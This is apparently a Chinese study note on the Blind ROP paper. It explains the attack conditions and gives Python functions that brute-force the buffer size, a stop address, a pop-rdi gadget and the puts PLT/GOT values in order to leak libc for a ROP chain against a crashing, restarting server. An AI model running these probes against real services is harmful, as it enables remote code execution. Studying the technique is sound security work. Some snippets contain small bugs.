论文原文:http://www.scs.stanford.edu/brop/bittau-brop.pdf
摘要:
文章演示了一种在不获取源文件或二进制文件的情况下进行攻击,劫持程序执行流的方法
攻击条件
- 源程序必须存在漏洞(此处以栈溢出为例)
- 源程序崩溃后会重新启动,且内存布局不变(即使有ASLR保护,但其也只是在程序第一次启动时随机化内存布局,目前nginx,MySQL,Apache等服务器应用都是符合此特性的)
攻击思路
大部分的应用都会开启ASLR,NX,Canary保护,我们可以绕过这些保护。由于缺少源文件和二进制文件,我们缺少很多信息,因此我们需要不断通过爆破泄露以下信息:
- 缓冲区长度
- 程序的内存空间地址
其中我们需要的程序空间地址有:
- stop地址:因为其调用了puts函数,执行完后不会导致程序崩溃,维持了socket连接。
- gadgets地址:我们需要相应的gadgets来更改寄存器的值
- puts的plt地址:我们需要调用puts函数来泄露我们需要的值
- puts的got表:我们通过泄露puts的got表,获取puts函数在libc中的值,从而泄露libc地址
攻击流程
首先我们需要找到缓冲区长度:
def get_buf_size():
for i in range(1,255):
payload = b'a' * i
try:
io = get_io()
io.send(payload)
io.recv()
io.close()
log.info(f"bad_bufsize:{i}")
except EOFError as e :
io.close()
log.info(f"buffer size:{i-1}")
return i-1
然后我们需要找到stop地址:
def get_stop_addr():
addr = 0x400000
while True:
addr += 1
payload = b'a'*buffer_size + p64(addr)
try:
io = get_io()
io.sendline(payload)
io.recv()
io.close()
print(f"stop addr:0x{hex(addr)}")
return addr
except EOFError as e:
io.close()
log.info(f"bad addr:0x{hex(addr)}")
except:
print("Fail to connect")
addr -= 1
然后需要找到gadget地址(pop rdi ;ret):
def get_gadgets_addr():
addr = stop_addr
while True:
addr += 1
payload = b'a'*buffer_size + p64(addr) + b"a"*8*6
try:
io = get_io()
io.sendline(payload + p64(stop_addr))
io.recv(timeout=1)
io.close()
print(f"find addr:0x{hex(addr)}")
try:
io = get_io()
io.sendline(payload)
io.recv(timeout=1)
io.close()
print(f"bad addr:0x{hex(addr)}")
except:
io.close()
print(f"gadget addr: 0x{hex(addr)}")
return addr
except EOFError as e:
io.close()
print(f"useless addr: 0x{hex(addr)}")
except KeyboardInterrupt as e:
print("Interrupt!")
return addr
except:
print("Can't connect")
addr -= 1
接下来时寻找puts的地址:
def get_puts_call_addr():
addr = stop_addr+0x1000
while True:
addr += 1
payload = b'a'*buffer_size + p64(gadget_addr + 9) #pop rdi ; ret
payload += p64(0x400000) + p64(addr)
payload += p64(stop_addr)
try:
io = get_io()
io.sendline(payload)
if io.recv().startswith("\x7fELF"):
print(f"puts_call_addr : 0x{hex(addr)}")
io.close()
return addr
print(f"bad addr:{hex(addr)}")
io.close()
except EOFError as e:
io.close()
print(f"bad addr:{hex(addr)}")
except KeyboardInterrupt as e:
io.close()
print("Interrupt")
return addr
except:
print("connection fail")
addr -= 1
def get_puts_addr():
payload = b'a'*buffer_size + p64(gadget_addr + 9)
payload += p64(puts_got) + p64(puts_plt)
payload += p64(stop_addr)
io.sendline(payload)
data = io.recvline()
data = u64(data[:-1] + '\x00\x00')
print(f"puts address: 0x{hex(data)}")
return data
最后我们可以通过puts的地址确定libc地址,从而构造一条ROP链进行攻击
42